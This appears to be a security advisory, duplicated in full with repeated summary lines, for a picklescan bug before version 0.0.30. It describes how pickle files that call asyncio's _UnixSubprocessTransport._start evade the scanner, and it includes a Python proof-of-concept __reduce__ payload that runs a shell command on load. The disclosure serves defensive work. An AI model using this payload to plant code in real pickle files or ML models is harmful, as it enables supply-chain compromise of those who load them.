CVE-2025-71364

picklescan before 0.0.30 fails to detect the asyncio.unix_events._UnixSubprocessTransport._start function in pickle reduce methods, allowing remote code execution. Attackers can craft malicious pickle files embedding this built-in function that evade detection but execute arbitrary commands when loaded.

picklescan before 0.0.30 fails to detect the asyncio.unix_events._UnixSubprocessTransport._start function in pickle reduce methods, allowing remote code execution. Attackers can craft malicious pickle files embedding this built-in function that evade detection but execute arbitrary commands when loaded.

picklescan before 0.0.30 fails to detect the asyncio.unix_events._UnixSubprocessTransport._start function in pickle reduce methods, allowing remote code execution. Attackers can craft malicious pickle files embedding this built-in function that evade detection but execute arbitrary commands when loaded.

Summary

Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from asyncio.unix_events import _UnixSubprocessTransport
from types import SimpleNamespace

class EvilAsyncioUnixSubprocessTransportStart:
    def __reduce__(self):
        fake_self = SimpleNamespace(
            _loop=None,
            _protocol=None,
            _proc=None
        )
        args = "whoami"  
        return _UnixSubprocessTransport._start, (
            fake_self, args, True, None, None, None, 0
        )

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

picklescan before 0.0.30 fails to detect the asyncio.unix_events._UnixSubprocessTransport._start function in pickle reduce methods, allowing remote code execution. Attackers can craft malicious pickle files embedding this built-in function that evade detection but execute arbitrary commands when loaded.

picklescan before 0.0.30 fails to detect the asyncio.unix_events._UnixSubprocessTransport._start function in pickle reduce methods, allowing remote code execution. Attackers can craft malicious pickle files embedding this built-in function that evade detection but execute arbitrary commands when loaded.

Summary

Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from asyncio.unix_events import _UnixSubprocessTransport
from types import SimpleNamespace

class EvilAsyncioUnixSubprocessTransportStart:
    def __reduce__(self):
        fake_self = SimpleNamespace(
            _loop=None,
            _protocol=None,
            _proc=None
        )
        args = "whoami"  
        return _UnixSubprocessTransport._start, (
            fake_self, args, True, None, None, None, 0
        )

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu